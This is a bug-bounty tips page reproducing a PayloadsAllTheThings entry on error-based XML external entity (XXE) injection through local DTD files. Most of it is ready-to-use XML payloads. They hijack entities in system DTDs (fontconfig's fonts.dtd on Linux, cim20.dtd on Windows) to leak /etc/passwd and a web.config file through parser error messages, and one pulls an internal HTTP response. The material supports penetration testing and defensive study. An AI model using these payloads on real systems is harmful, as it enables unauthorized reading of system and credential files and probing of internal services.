XXE Injection: Error Based - Using Local DTD File

XML external entities (XXE)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.

xml
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">
    %local_dtd;
]>
<root></root>

Linux Local DTD

Short list of DTD files already stored on Linux systems; list them with locate .dtd:

xml
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/xml/svg/svg10.dtd
/usr/share/xml/svg/svg11.dtd
/usr/share/yelp/dtd/docbookx.dtd

The file /usr/share/xml/fontconfig/fonts.dtd has an injectable entity %constant at line 148: <!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>

The final payload becomes:

xml
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    %local_dtd;
]>
<message>Text</message>

Windows Local DTD

Payloads from infosec-au/xxe-windows.md.

  • Disclose local file

    xml
    <!DOCTYPE doc [
        <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
        <!ENTITY % SuperClass '>
            <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
          <!ENTITY test "test"'
        >
        %local_dtd;
      ]><xxx>anything</xxx>
  • Disclose HTTP Response

    xml
    <!DOCTYPE doc [
        <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
        <!ENTITY % SuperClass '>
            <!ENTITY &#x25; file SYSTEM "https://erp.company.com">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
          <!ENTITY test "test"'
        >
        %local_dtd;
      ]><xxx>anything</xxx>

Comments

No comments yet.